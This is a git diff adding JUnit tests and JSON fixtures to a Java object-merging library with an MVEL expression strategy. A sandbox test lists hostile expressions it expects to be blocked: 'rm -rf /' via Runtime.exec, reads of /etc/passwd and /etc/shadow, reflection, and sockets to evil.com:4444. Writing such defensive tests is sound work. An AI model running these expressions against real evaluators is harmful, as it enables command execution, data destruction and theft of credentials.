ObjectMerger.merge( + Wrapper.class, + wrapperDef, + new LabeledSource<>("source1", w1), + new LabeledSource<>("source2", w2)); + + // Expect: Fallback to Standard (Source 1) + Assertions.assertEquals("Old St", result2.getAddress().getStreet()); + Assertions.assertEquals("12345", result2.getAddress().getZip()); + } + + @Data + @AllArgsConstructor + @NoArgsConstructor + public static class Wrapper { + private Address address; + } +} diff --git a/objectmerger-mvel/src/test/java/de/x132/objectmerger/strategy/conditional/ConditionalMergeTest.java b/objectmerger-mvel/src/test/java/de/x132/objectmerger/strategy/conditional/ConditionalMergeTest.java new file mode 100644 index 0000000..3d749ae --- /dev/null +++ b/objectmerger-mvel/src/test/java/de/x132/objectmerger/strategy/conditional/ConditionalMergeTest.java @@ -0,0 +1,110 @@ +package de.x132.objectmerger.strategy.conditional; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNull; + +import de.x132.objectmerger.LabeledSource; +import de.x132.objectmerger.strategy.priority.PriorityFieldDefinition; +import de.x132.objectmerger.strategy.standard.StandardFieldDefinition; +import java.util.List; +import java.util.Map; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; + +@DisplayName("Conditional Merge Strategy Tests") +class ConditionalMergeTest { + + private ConditionalMergeStrategy strategy; + + @BeforeEach + void setUp() { + strategy = new ConditionalMergeStrategy<>(); + } + + @Test + @DisplayName("Should use case strategy when condition matches") + void shouldUseCaseStrategyWhenConditionMatches() { + // Arrange + + // Case 1: If 'master' is present, use Priority + ConditionCase case1 = new ConditionCase<>(); + case1.setCondition("values.containsKey('master')"); + + PriorityFieldDefinition priorityDef = + PriorityFieldDefinition.builder() + .strategy("priority") + .priority(Map.of("master", 1)) + .build(); + case1.setUseStrategy(priorityDef); + + ConditionalFieldDefinition fieldDef = + ConditionalFieldDefinition.builder() + .cases(List.of(case1)) + .defaultStrategy( + StandardFieldDefinition.builder() + .strategy("standard") + .build()) + .build(); + + // Sources + LabeledSource> src1 = + new LabeledSource<>("master", Map.of("field", "A")); + LabeledSource> src2 = + new LabeledSource<>("other", Map.of("field", "B")); + List> sources = List.of(src1, src2); + + // Act + Object result = strategy.merge(sources, fieldDef, "field"); + + // Assert + // Priority logic: master=1 -> should pick "A" + assertEquals("A", result); + } + + @Test + @DisplayName("Should use default strategy when no condition matches") + void shouldUseDefaultStrategyWhenNoConditionMatches() { + // Arrange + // Case 1: If 'special' source present (it's not) + ConditionCase case1 = new ConditionCase<>(); + case1.setCondition("values.containsKey('special')"); + + ConditionalFieldDefinition fieldDef = + ConditionalFieldDefinition.builder() + .cases(List.of(case1)) + .defaultStrategy( + StandardFieldDefinition.builder() + .strategy("standard") + .build()) + .build(); + + // Sources + LabeledSource> src1 = + new LabeledSource<>("master", Map.of("field", "A")); + List> sources = List.of(src1); + + // Act + Object result = strategy.merge(sources, fieldDef, "field"); + + // Assert + // Standard Strategy logic + assertEquals("A", result); + } + + @Test + @DisplayName("Should return null if no condition matches and no default strategy") + void shouldReturnNullIfNoMatchAndNoDefault() { + ConditionalFieldDefinition fieldDef = + ConditionalFieldDefinition.builder() + .cases(List.of()) + .defaultStrategy(null) + .build(); + + List> sources = List.of(new LabeledSource<>("s1", Map.of("f", "v"))); + + Object result = strategy.merge(sources, fieldDef, "f"); + + assertNull(result); + } +} diff --git a/objectmerger-mvel/src/test/java/de/x132/objectmerger/strategy/mvel/MvelFallbackTest.java b/objectmerger-mvel/src/test/java/de/x132/objectmerger/strategy/mvel/MvelFallbackTest.java new file mode 100644 index 0000000..565d7dd --- /dev/null +++ b/objectmerger-mvel/src/test/java/de/x132/objectmerger/strategy/mvel/MvelFallbackTest.java @@ -0,0 +1,50 @@ +package de.x132.objectmerger.strategy.mvel; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNull; + +import java.util.List; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; + +class MvelFallbackTest { + + private final MvelMergeStrategy strategy = new MvelMergeStrategy(); + + @Test + @DisplayName("Should return default value when expression is empty") + void emptyExpressionReturnsDefault() { + MvelFieldDefinition fieldDef = + MvelFieldDefinition.builder().defaultValue("fallback").build(); + + // Test null expression (default) + assertEquals("fallback", strategy.merge(List.of(), fieldDef, "test")); + + // Test empty expression + fieldDef.setExpression(""); + assertEquals("fallback", strategy.merge(List.of(), fieldDef, "test")); + } + + @Test + @DisplayName("Should return deafult value when expression fails") + void exceptionReturnsDefault() { + MvelFieldDefinition fieldDef = + MvelFieldDefinition.builder() + .expression("undefinedVar.callMethod()") // This will throw + // PropertyAccessException or similar + .defaultValue("fallback_on_error") + .build(); + + assertEquals("fallback_on_error", strategy.merge(List.of(), fieldDef, "test")); + } + + @Test + @DisplayName("Should return null if no default value is set and error occurs") + void noDefaultValueReturnsNullOnError() { + MvelFieldDefinition fieldDef = + MvelFieldDefinition.builder().expression("some_undefined_variable").build(); + // No defaultValue set (null by default) + + assertNull(strategy.merge(List.of(), fieldDef, "test")); + } +} diff --git a/objectmerger-mvel/src/test/java/de/x132/objectmerger/strategy/mvel/MvelMergeStrategyTest.java b/objectmerger-mvel/src/test/java/de/x132/objectmerger/strategy/mvel/MvelMergeStrategyTest.java new file mode 100644 index 0000000..3c70ae9 --- /dev/null +++ b/objectmerger-mvel/src/test/java/de/x132/objectmerger/strategy/mvel/MvelMergeStrategyTest.java @@ -0,0 +1,70 @@ +package de.x132.objectmerger.strategy.mvel; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNull; + +import de.x132.objectmerger.LabeledSource; +import java.util.Arrays; +import java.util.List; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; + +class MvelMergeStrategyTest { + + private final MvelMergeStrategy strategy = new MvelMergeStrategy(); + + @Test + @DisplayName("Should execute simple arithmetic expression") + void arithmeticExpression() { + MvelFieldDefinition fieldDef = + MvelFieldDefinition.builder().expression("sources['a'] + sources['b']").build(); + + List> sources = + Arrays.asList(new LabeledSource<>("a", 10), new LabeledSource<>("b", 20)); + + Object result = strategy.merge(sources, fieldDef, "testField"); + assertEquals(30, result); + } + + @Test + @DisplayName("Should execute conditional logic") + void conditionalLogic() { + MvelFieldDefinition fieldDef = + MvelFieldDefinition.builder() + .expression( + "if (sources['prio'] > 100) { return sources['prio']; } else { return sources['backup']; }") + .build(); + + // Case 1: Prio > 100 + List> sourcesHigh = + Arrays.asList(new LabeledSource<>("prio", 150), new LabeledSource<>("backup", 10)); + assertEquals(150, strategy.merge(sourcesHigh, fieldDef, "testField")); + + // Case 2: Prio <= 100 + List> sourcesLow = + Arrays.asList(new LabeledSource<>("prio", 50), new LabeledSource<>("backup", 10)); + assertEquals(10, strategy.merge(sourcesLow, fieldDef, "testField")); + } + + @Test + @DisplayName("Should return null for null/empty expression") + void emptyExpression() { + MvelFieldDefinition fieldDef = MvelFieldDefinition.builder().build(); + assertNull(strategy.merge(List.of(), fieldDef, "testField")); + + fieldDef.setExpression(""); + assertNull(strategy.merge(List.of(), fieldDef, "testField")); + } + + @Test + @DisplayName("Should handle missing sources gracefully (MVEL behavior)") + void missingSources() { + MvelFieldDefinition fieldDef = + MvelFieldDefinition.builder() + .expression("sources['missing'] == null ? 'not found' : 'found'") + .build(); + + List> sources = List.of(new LabeledSource<>("existing", 1)); + assertEquals("not found", strategy.merge(sources, fieldDef, "testField")); + } +} diff --git a/objectmerger-mvel/src/test/java/de/x132/objectmerger/strategy/mvel/MvelSandboxTest.java b/objectmerger-mvel/src/test/java/de/x132/objectmerger/strategy/mvel/MvelSandboxTest.java new file mode 100644 index 0000000..169809a --- /dev/null +++ b/objectmerger-mvel/src/test/java/de/x132/objectmerger/strategy/mvel/MvelSandboxTest.java @@ -0,0 +1,350 @@ +package de.x132.objectmerger.strategy.mvel; + +import static org.junit.jupiter.api.Assertions.assertDoesNotThrow; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.assertTrue; + +import de.x132.objectmerger.LabeledSource; +import java.util.Arrays; +import java.util.List; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Nested; +import org.junit.jupiter.api.Test; + +@DisplayName("MVEL Sandbox Security Tests") +class MvelSandboxTest { + + private final MvelMergeStrategy strategy = new MvelMergeStrategy(); + + private List> dummySources() { + return Arrays.asList(new LabeledSource<>("a", 10), new LabeledSource<>("b", 20)); + } + + private void assertExpressionIsBlocked(String expression) { + MvelFieldDefinition fieldDef = MvelFieldDefinition.builder().expression(expression).build(); + + SecurityException thrown = + assertThrows( + SecurityException.class, + () -> strategy.merge(dummySources(), fieldDef, "sandboxTest"), + "Expression should have been blocked by sandbox: " + expression); + + assertTrue( + thrown.getMessage().contains("sandbox"), + "Exception message should mention sandbox: " + thrown.getMessage()); + } + + @Nested + @DisplayName("Legitimate expressions") + class LegitimateExpressionsAreAllowed { + + @Test + @DisplayName("Simple arithmetic should be allowed") + void arithmeticAllowed() { + MvelFieldDefinition fieldDef = + MvelFieldDefinition.builder().expression("sources['a'] + sources['b']").build(); + Object result = strategy.merge(dummySources(), fieldDef, "test"); + assertEquals(30, result); + } + + @Test + @DisplayName("String concatenation should be allowed") + void stringConcatenationAllowed() { + List> sources = + Arrays.asList( + new LabeledSource<>("first", "Hello"), + new LabeledSource<>("second", " World")); + MvelFieldDefinition fieldDef = + MvelFieldDefinition.builder() + .expression("sources['first'] + sources['second']") + .build(); + Object result = strategy.merge(sources, fieldDef, "test"); + assertEquals("Hello World", result); + } + + @Test + @DisplayName("Ternary/conditional expressions should be allowed") + void ternaryExpressionAllowed() { + MvelFieldDefinition fieldDef = + MvelFieldDefinition.builder() + .expression("sources['a'] > 5 ? sources['a'] : sources['b']") + .build(); + Object result = strategy.merge(dummySources(), fieldDef, "test"); + assertEquals(10, result); + } + + @Test + @DisplayName("Null checks should be allowed") + void nullCheckAllowed() { + MvelFieldDefinition fieldDef = + MvelFieldDefinition.builder() + .expression("sources['a'] != null ? sources['a'] : 0") + .build(); + Object result = strategy.merge(dummySources(), fieldDef, "test"); + assertEquals(10, result); + } + } + + @Nested + @DisplayName("Runtime/Process execution must be blocked") + class RuntimeExecutionIsBlocked { + + @Test + @DisplayName("Runtime.getRuntime().exec() should be blocked") + void blocksRuntimeExec() { + assertExpressionIsBlocked("Runtime.getRuntime().exec('rm -rf /')"); + } + + @Test + @DisplayName("Runtime with variable assignment should be blocked") + void blocksRuntimeViaVariable() { + assertExpressionIsBlocked("r = Runtime.getRuntime(); r.exec('ls')"); + } + + @Test + @DisplayName("ProcessBuilder should be blocked") + void blocksProcessBuilder() { + assertExpressionIsBlocked("new ProcessBuilder('ls').start()"); + } + + @Test + @DisplayName("java.lang.Runtime fully qualified should be blocked") + void blocksFullyQualifiedRuntime() { + assertExpressionIsBlocked("java.lang.Runtime.getRuntime().exec('whoami')"); + } + } + + @Nested + @DisplayName("System access must be blocked") + class SystemAccessIsBlocked { + + @Test + @DisplayName("System.exit() should be blocked") + void blocksSystemExit() { + assertExpressionIsBlocked("System.exit(0)"); + } + + @Test + @DisplayName("System.getenv() should be blocked") + void blocksSystemGetenv() { + assertExpressionIsBlocked("System.getenv('PATH')"); + } + + @Test + @DisplayName("System.getProperty() should be blocked") + void blocksSystemGetProperty() { + assertExpressionIsBlocked("System.getProperty('user.home')"); + } + + @Test + @DisplayName("System.setProperty() should be blocked") + void blocksSystemSetProperty() { + assertExpressionIsBlocked("System.setProperty('foo', 'bar')"); + } + } + + @Nested + @DisplayName("Reflection access must be blocked") + class ReflectionAccessIsBlocked { + + @Test + @DisplayName(".getClass().forName() chain should be blocked") + void blocksGetClassForNameChain() { + assertExpressionIsBlocked("''.getClass().forName('java.lang.Runtime')"); + } + + @Test + @DisplayName("Class.forName() should be blocked") + void blocksClassForName() { + assertExpressionIsBlocked("Class.forName('java.lang.Runtime')"); + } + + @Test + @DisplayName(".getClass() on context objects should be blocked") + void blocksGetClassOnContextObjects() { + assertExpressionIsBlocked("sources.getClass().getMethods()"); + } + + @Test + @DisplayName(".class accessor should be blocked") + void blocksClassAccessor() { + assertExpressionIsBlocked("String.class.getMethods()"); + } + } + + @Nested + @DisplayName("File system access must be blocked") + class FileSystemAccessIsBlocked { + + @Test + @DisplayName("new File() should be blocked") + void blocksNewFile() { + assertExpressionIsBlocked("new File('/etc/passwd')"); + } + + @Test + @DisplayName("new FileReader() should be blocked") + void blocksNewFileReader() { + assertExpressionIsBlocked("new FileReader('/etc/passwd')"); + } + + @Test + @DisplayName("new FileWriter() should be blocked") + void blocksNewFileWriter() { + assertExpressionIsBlocked("new FileWriter('/tmp/evil.txt')"); + } + + @Test + @DisplayName("new FileInputStream() should be blocked") + void blocksNewFileInputStream() { + assertExpressionIsBlocked("new FileInputStream('/etc/shadow')"); + } + + @Test + @DisplayName("java.io qualified access should be blocked") + void blocksJavaIoAccess() { + assertExpressionIsBlocked("new java.io.File('/etc/passwd').exists()"); + } + + @Test + @DisplayName("java.nio access should be blocked") + void blocksJavaNioAccess() { + assertExpressionIsBlocked( + "java.nio.file.Files.readAllBytes(java.nio.file.Paths.get('/etc/passwd'))"); + } + } + + @Nested + @DisplayName("Network access must be blocked") + class NetworkAccessIsBlocked { + + @Test + @DisplayName("new Socket() should be blocked") + void blocksNewSocket() { + assertExpressionIsBlocked("new Socket('evil.com', 4444)"); + } + + @Test + @DisplayName("new URL() should be blocked") + void blocksNewUrl() { + assertExpressionIsBlocked("new URL('http://evil.com').openStream()"); + } + + @Test + @DisplayName("java.net qualified access should be blocked") + void blocksJavaNetAccess() { + assertExpressionIsBlocked("new java.net.Socket('evil.com', 4444)"); + } + } + + @Nested + @DisplayName("Thread manipulation must be blocked") + class ThreadManipulationIsBlocked { + + @Test + @DisplayName("Thread creation should be blocked") + void blocksNewThread() { + assertExpressionIsBlocked("new Thread().start()"); + } + + @Test + @DisplayName("Thread.currentThread() should be blocked") + void blocksCurrentThread() { + assertExpressionIsBlocked("Thread.currentThread().interrupt()"); + } + } + + @Nested + @DisplayName("Arbitrary object creation must be blocked") + class ArbitraryObjectCreationIsBlocked { + + @Test + @DisplayName("new ProcessBuilder should be blocked") + void blocksNewProcessBuilder() { + assertExpressionIsBlocked("new ProcessBuilder(['ls', '-la']).start()"); + } + + @Test + @DisplayName("ScriptEngine creation should be blocked") + void blocksScriptEngineCreation() { + assertExpressionIsBlocked( + "new javax.script.ScriptEngineManager().getEngineByName('js')"); + } + } + + @Nested + @DisplayName("Advanced bypass attempts must be blocked") + class AdvancedBypassAttemptsAreBlocked { + @Test + @DisplayName("Fully qualified new object creation should be blocked") + void blocksFullyQualifiedNew() { + assertExpressionIsBlocked("new java.lang.String('test')"); + } + + @Test + @DisplayName("Complex FQN new object creation should be blocked") + void blocksComplexFqnNew() { + assertExpressionIsBlocked("new org.springframework.web.client.RestTemplate()"); + } + + @Test + @DisplayName("T() type reference should be blocked") + void blocksTypeReference() { + assertExpressionIsBlocked("T(java.lang.Runtime).getRuntime()"); + } + + @Test + @DisplayName("T() usage in expression should be blocked") + void blocksTypeReferenceInExpression() { + assertExpressionIsBlocked("1 + T(java.lang.System).exit(0)"); + } + } + + @Nested + @DisplayName("Direct expression validation") + class DirectExpressionValidation { + + @Test + @DisplayName("null expression should pass validation") + void nullExpressionPassesValidation() { + assertDoesNotThrow(() -> MvelSandbox.validateExpression(null)); + } + + @Test + @DisplayName("empty expression should pass validation") + void emptyExpressionPassesValidation() { + assertDoesNotThrow(() -> MvelSandbox.validateExpression("")); + } + + @Test + @DisplayName("safe expression should pass validation") + void safeExpressionPassesValidation() { + assertDoesNotThrow(() -> MvelSandbox.validateExpression("sources['a'] + sources['b']")); + } + + @Test + @DisplayName("Runtime reference should fail validation") + void runtimeReferenceFailsValidation() { + assertThrows( + SecurityException.class, + () -> MvelSandbox.validateExpression("Runtime.getRuntime()")); + } + + @Test + @DisplayName("newInstance() call should fail validation") + void newInstanceCallFailsValidation() { + assertThrows( + SecurityException.class, + () -> MvelSandbox.validateExpression("something.newInstance()")); + } + + @Test + @DisplayName("forName() call should fail validation") + void forNameCallFailsValidation() { + assertThrows( + SecurityException.class, + () -> MvelSandbox.validateExpression("something.forName('java.lang.Runtime')")); + } + } +} diff --git a/objectmerger-mvel/src/test/java/de/x132/person/MapPersonMergeTest.java b/objectmerger-mvel/src/test/java/de/x132/person/MapPersonMergeTest.java new file mode 100644 index 0000000..4dd5df1 --- /dev/null +++ b/objectmerger-mvel/src/test/java/de/x132/person/MapPersonMergeTest.java @@ -0,0 +1,54 @@ +package de.x132.person; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +import com.google.gson.Gson; +import de.x132.objectmerger.LabeledSource; +import de.x132.objectmerger.MergeDefinition; +import de.x132.objectmerger.ObjectMerger; +import de.x132.testutil.MvelTestGsonHelper; +import java.io.FileReader; +import java.util.Map; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; + +class MapPersonMergeTest { + + private static final Gson gson = MvelTestGsonHelper.createGson(); + + @Test + @DisplayName("Should merge person data using MVEL rules identically to standard rules") + void testMergePersonDataWithMvel() throws Exception { + Map analyticsPerson = + gson.fromJson( + new FileReader("src/test/resources/person/analytics-person.json"), + Map.class); + Map crmPerson = + gson.fromJson( + new FileReader("src/test/resources/person/crm-person.json"), Map.class); + Map dbPerson = + gson.fromJson( + new FileReader("src/test/resources/person/db-person.json"), Map.class); + + // Load the MVEL definition instead of the standard one + MergeDefinition mergeDefinition = + gson.fromJson( + new FileReader( + "src/test/resources/person/person-merge-definition-mvel.json"), + MergeDefinition.class); + + // Perform the merge + Map mergedPerson = + ObjectMerger.merge( + mergeDefinition, + new LabeledSource<>("analytics", analyticsPerson), + new LabeledSource<>("crm", crmPerson), + new LabeledSource<>("database", dbPerson)); + + // Assert results match the expected output from MultiSourceMergeTest + assertEquals("Max Müller", mergedPerson.get("name")); + assertEquals(35, ((Number) mergedPerson.get("age")).intValue()); + assertEquals("max@example.com", mergedPerson.get("email")); + assertEquals("030-654321", mergedPerson.get("phone")); + } +} diff --git a/objectmerger-mvel/src/test/java/de/x132/person/MvelPersonMergeTest.java b/objectmerger-mvel/src/test/java/de/x132/person/MvelPersonMergeTest.java new file mode 100644 index 0000000..d2e6475 --- /dev/null +++ b/objectmerger-mvel/src/test/java/de/x132/person/MvelPersonMergeTest.java @@ -0,0 +1,54 @@ +package de.x132.person; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +import com.google.gson.Gson; +import de.x132.objectmerger.LabeledSource; +import de.x132.objectmerger.MergeDefinition; +import de.x132.objectmerger.ObjectMerger; +import de.x132.testutil.MvelTestGsonHelper; +import java.io.FileReader; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; + +class MvelPersonMergeTest { + + private static final Gson gson = MvelTestGsonHelper.createGson(); + + @Test + @DisplayName("Should merge person data using MVEL rules identically to standard rules") + void testMergePersonDataWithMvel() throws Exception { + Person analyticsPerson = + gson.fromJson( + new FileReader("src/test/resources/person/analytics-person.json"), + Person.class); + Person crmPerson = + gson.fromJson( + new FileReader("src/test/resources/person/crm-person.json"), Person.class); + Person dbPerson = + gson.fromJson( + new FileReader("src/test/resources/person/db-person.json"), Person.class); + + // Load the MVEL definition instead of the standard one + MergeDefinition mergeDefinition = + gson.fromJson( + new FileReader( + "src/test/resources/person/person-merge-definition-mvel.json"), + MergeDefinition.class); + + // Perform the merge + Person mergedPerson = + ObjectMerger.merge( + Person.class, + mergeDefinition, + new LabeledSource<>("analytics", analyticsPerson), + new LabeledSource<>("crm", crmPerson), + new LabeledSource<>("database", dbPerson)); + + // Assert results match the expected output from MultiSourceMergeTest + assertEquals("Max Müller", mergedPerson.getName()); + assertEquals(35, mergedPerson.getAge()); + assertEquals("max@example.com", mergedPerson.getEmail()); + assertEquals("030-654321", mergedPerson.getPhone()); + } +} diff --git a/objectmerger-mvel/src/test/java/de/x132/person/Person.java b/objectmerger-mvel/src/test/java/de/x132/person/Person.java new file mode 100644 index 0000000..3f6b09b --- /dev/null +++ b/objectmerger-mvel/src/test/java/de/x132/person/Person.java @@ -0,0 +1,11 @@ +package de.x132.person; + +import lombok.Data; + +@Data +public class Person { + private String name; + private Integer age; + private String email; + private String phone; +} diff --git a/objectmerger-mvel/src/test/java/de/x132/testutil/MvelTestGsonHelper.java b/objectmerger-mvel/src/test/java/de/x132/testutil/MvelTestGsonHelper.java new file mode 100644 index 0000000..6ff0388 --- /dev/null +++ b/objectmerger-mvel/src/test/java/de/x132/testutil/MvelTestGsonHelper.java @@ -0,0 +1,59 @@ +package de.x132.testutil; + +import com.google.gson.Gson; +import com.google.gson.GsonBuilder; +import com.google.gson.JsonDeserializationContext; +import com.google.gson.JsonDeserializer; +import com.google.gson.JsonElement; +import com.google.gson.JsonObject; +import com.google.gson.JsonParseException; +import de.x132.objectmerger.strategy.FieldDefinition; +import de.x132.objectmerger.strategy.list.ListFieldDefinition; +import de.x132.objectmerger.strategy.map.MapFieldDefinition; +import de.x132.objectmerger.strategy.mvel.MvelFieldDefinition; +import de.x132.objectmerger.strategy.priority.PriorityFieldDefinition; +import de.x132.objectmerger.strategy.standard.StandardFieldDefinition; +import java.lang.reflect.Type; + +public class MvelTestGsonHelper { + + public static Gson createGson() { + return new GsonBuilder() + .registerTypeAdapter(FieldDefinition.class, new FieldDefinitionDeserializer()) + .create(); + } + + private static class FieldDefinitionDeserializer implements JsonDeserializer { + @Override + public FieldDefinition deserialize( + JsonElement json, Type typeOfT, JsonDeserializationContext context) + throws JsonParseException { + JsonObject jsonObject = json.getAsJsonObject(); + + String strategy = ""; + if (jsonObject.has("strategy")) { + strategy = jsonObject.get("strategy").getAsString(); + } + + if ("mergeMap".equals(strategy) || jsonObject.has("keyTemplateSources")) { + return context.deserialize(json, MapFieldDefinition.class); + } + + if ("mergeList".equals(strategy) || jsonObject.has("identifyBy")) { + return context.deserialize(json, ListFieldDefinition.class); + } + + if (jsonObject.has("priority") + || "priority".equals(strategy) + || "concatenate".equals(strategy)) { + return context.deserialize(json, PriorityFieldDefinition.class); + } + + if ("mvel".equals(strategy)) { + return context.deserialize(json, MvelFieldDefinition.class); + } + + return context.deserialize(json, StandardFieldDefinition.class); + } + } +} diff --git a/objectmerger-mvel/src/test/java/de/x132/testutil/TestGsonHelper.java b/objectmerger-mvel/src/test/java/de/x132/testutil/TestGsonHelper.java new file mode 100644 index 0000000..21b31ec --- /dev/null +++ b/objectmerger-mvel/src/test/java/de/x132/testutil/TestGsonHelper.java @@ -0,0 +1,54 @@ +package de.x132.testutil; + +import com.google.gson.Gson; +import com.google.gson.GsonBuilder; +import com.google.gson.JsonDeserializationContext; +import com.google.gson.JsonDeserializer; +import com.google.gson.JsonElement; +import com.google.gson.JsonObject; +import com.google.gson.JsonParseException; +import de.x132.objectmerger.strategy.FieldDefinition; +import de.x132.objectmerger.strategy.list.ListFieldDefinition; +import de.x132.objectmerger.strategy.map.MapFieldDefinition; +import de.x132.objectmerger.strategy.priority.PriorityFieldDefinition; +import de.x132.objectmerger.strategy.standard.StandardFieldDefinition; +import java.lang.reflect.Type; + +public class TestGsonHelper { + + public static Gson createGson() { + return new GsonBuilder() + .registerTypeAdapter(FieldDefinition.class, new FieldDefinitionDeserializer()) + .create(); + } + + private static class FieldDefinitionDeserializer implements JsonDeserializer { + @Override + public FieldDefinition deserialize( + JsonElement json, Type typeOfT, JsonDeserializationContext context) + throws JsonParseException { + JsonObject jsonObject = json.getAsJsonObject(); + + String strategy = ""; + if (jsonObject.has("strategy")) { + strategy = jsonObject.get("strategy").getAsString(); + } + + if ("mergeMap".equals(strategy) || jsonObject.has("keyTemplateSources")) { + return context.deserialize(json, MapFieldDefinition.class); + } + + if ("mergeList".equals(strategy) || jsonObject.has("identifyBy")) { + return context.deserialize(json, ListFieldDefinition.class); + } + + if (jsonObject.has("priority") + || "priority".equals(strategy) + || "concatenate".equals(strategy)) { + return context.deserialize(json, PriorityFieldDefinition.class); + } + + return context.deserialize(json, StandardFieldDefinition.class); + } + } +} diff --git a/objectmerger-mvel/src/test/resources/person/analytics-person.json b/objectmerger-mvel/src/test/resources/person/analytics-person.json new file mode 100644 index 0000000..7db04b1 --- /dev/null +++ b/objectmerger-mvel/src/test/resources/person/analytics-person.json @@ -0,0 +1,6 @@ +{ + "name": null, + "age": 35, + "email": "max.mueller@example.de", + "phone": "030-654321" +} \ No newline at end of file diff --git a/objectmerger-mvel/src/test/resources/person/crm-person.json b/objectmerger-mvel/src/test/resources/person/crm-person.json new file mode 100644 index 0000000..e80eab4 --- /dev/null +++ b/objectmerger-mvel/src/test/resources/person/crm-person.json @@ -0,0 +1,6 @@ + { + "name": "Maximilian Müller", + "age": 25, + "email": null, + "phone": "030-123456" +} \ No newline at end of file diff --git a/objectmerger-mvel/src/test/resources/person/db-person.json b/objectmerger-mvel/src/test/resources/person/db-person.json new file mode 100644 index 0000000..3822115 --- /dev/null +++ b/objectmerger-mvel/src/test/resources/person/db-person.json @@ -0,0 +1,6 @@ +{ + "name": "Max Müller", + "age": 30, + "email": "max@example.com", + "phone": null +} \ No newline at end of file diff --git a/objectmerger-mvel/src/test/resources/person/person-merge-definition-mvel.json b/objectmerger-mvel/src/test/resources/person/person-merge-definition-mvel.json new file mode 100644 index 0000000..b3e08cc --- /dev/null +++ b/objectmerger-mvel/src/test/resources/person/person-merge-definition-mvel.json @@ -0,0 +1,20 @@ +{ + "definitions": { + "name": { + "strategy": "mvel", + "expression": "sources['database'] != null ? sources['database'].name : (sources['crm'] != null ? sources['crm'].name : sources['analytics'].name)" + }, + "age": { + "strategy": "mvel", + "expression": "list = []; foreach (v : sources.values()) { if (v != null && v.age != null) list.add(v.age); } return java.util.Collections.max(list);" + }, + "email": { + "strategy": "mvel", + "expression": "sources['database'] != null ? sources['database'].email : (sources['crm'] != null ? sources['crm'].email : sources['analytics'].email)" + }, + "phone": { + "strategy": "mvel", + "expression": "sources['analytics'] != null ? sources['analytics'].phone : (sources['crm'] != null ? sources['crm'].phone : sources['database'].phone)" + } + } +} \ No newline at end of file diff --git a/objectmerger-mvel/src/test/resources/person/person-merge-definition.json b/objectmerger-mvel/src/test/resources/person/person-merge-definition.json new file mode 100644 index 0000000..a53cc33 --- /dev/null +++ b/objectmerger-mvel/src/test/resources/person/person-merge-definition.json @@ -0,0 +1,32 @@ +{ + "definitions": { + "name": { + "strategy": "priority", + "priority": { + "database": 1, + "crm": 2, + "analytics": 3 + } + }, + "age": { + "strategy": "maximum", + "defaultValue": 0 + }, + "email": { + "strategy": "priority", + "priority": { + "database": 1, + "crm": 2, + "analytics": 3 + } + }, + "phone": { + "strategy": "priority", + "priority": { + "analytics": 1, + "crm": 2, + "database": 3 + } + } + } +} \ No newline at end of file diff --git a/objectmerger-spring-boot/pom.xml b/objectmerger-spring-boot/pom.xml index 00a443d..5bad391 100644 --- a/objectmerger-spring-boot/pom.xml +++ b/objectmerger-spring-boot/pom.xml @@ -16,6 +16,7 @@ jar + de.x132 objectmerger @@ -36,16 +37,26 @@ com.fasterxml.jackson.dataformat jackson-dataformat-yaml + + org.projectlombok lombok provided + + org.springframework.boot spring-boot-starter-test test + + de.x132 + objectmerger-mvel + ${project.version} + test + diff --git a/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/ObjectMergerApplication.java b/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/ObjectMergerApplication.java index 17e22d3..bc087ea 100644 --- a/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/ObjectMergerApplication.java +++ b/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/ObjectMergerApplication.java @@ -9,18 +9,18 @@ @SpringBootApplication public class ObjectMergerApplication { - public static void main(String[] args) { - SpringApplication.run(ObjectMergerApplication.class, args); - } + public static void main(String[] args) { + SpringApplication.run(ObjectMergerApplication.class, args); + } - @Bean - public OpenAPI objectMergerOpenAPI() { - return new OpenAPI() - .info( - new Info() - .title("ObjectMerger REST API") - .description( - "REST API for merging multiple data sources with configurable strategies") - .version("0.1.0")); - } + @Bean + public OpenAPI objectMergerOpenAPI() { + return new OpenAPI() + .info( + new Info() + .title("ObjectMerger REST API") + .description( + "REST API for merging multiple data sources with configurable strategies") + .version("0.1.0")); + } } diff --git a/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/config/YamlConfiguration.java b/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/config/YamlConfiguration.java index fb9a5d2..204f7e7 100644 --- a/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/config/YamlConfiguration.java +++ b/objectmerger-spring-boot/src/main/java/de/x132/objectmerger/config/YamlConfiguration.java @@ -12,25 +12,25 @@ @Configuration public class YamlConfiguration implements WebMvcConfigurer { - @Override - public void extendMessageConverters(List> converters) { - converters.add(new YamlJackson2HttpMessageConverter()); - } + @Override + public void extendMessageConverters(List> converters) { + converters.add(new YamlJackson2HttpMessageConverter()); + } - @Override - public void configureContentNegotiation(ContentNegotiationConfigurer configurer) { - configurer - .favorParameter(false) - .ignoreAcceptHeader(false) - .defaultContentType(MediaType.APPLICATION_JSON) - .mediaType("yaml", MediaType.parseMediaType("application/x-yaml")) - .mediaType("yml", MediaType.parseMediaType("application/x-yaml")); - } + @Override + public void configureContentNegotiation(ContentNegotiationConfigurer configurer) { + configurer + .favorParameter(false) + .ignoreAcceptHeader(false) + .defaultContentType(MediaType.APPLICATION_JSON) + .mediaType("yaml", MediaType.parseMediaType("application/x-yaml")) + .mediaType("yml", MediaType.parseMediaType("application/x-yaml")); + } - public static class YamlJackson2HttpMessageConverter - extends AbstractJackson2HttpMessageConverter { - 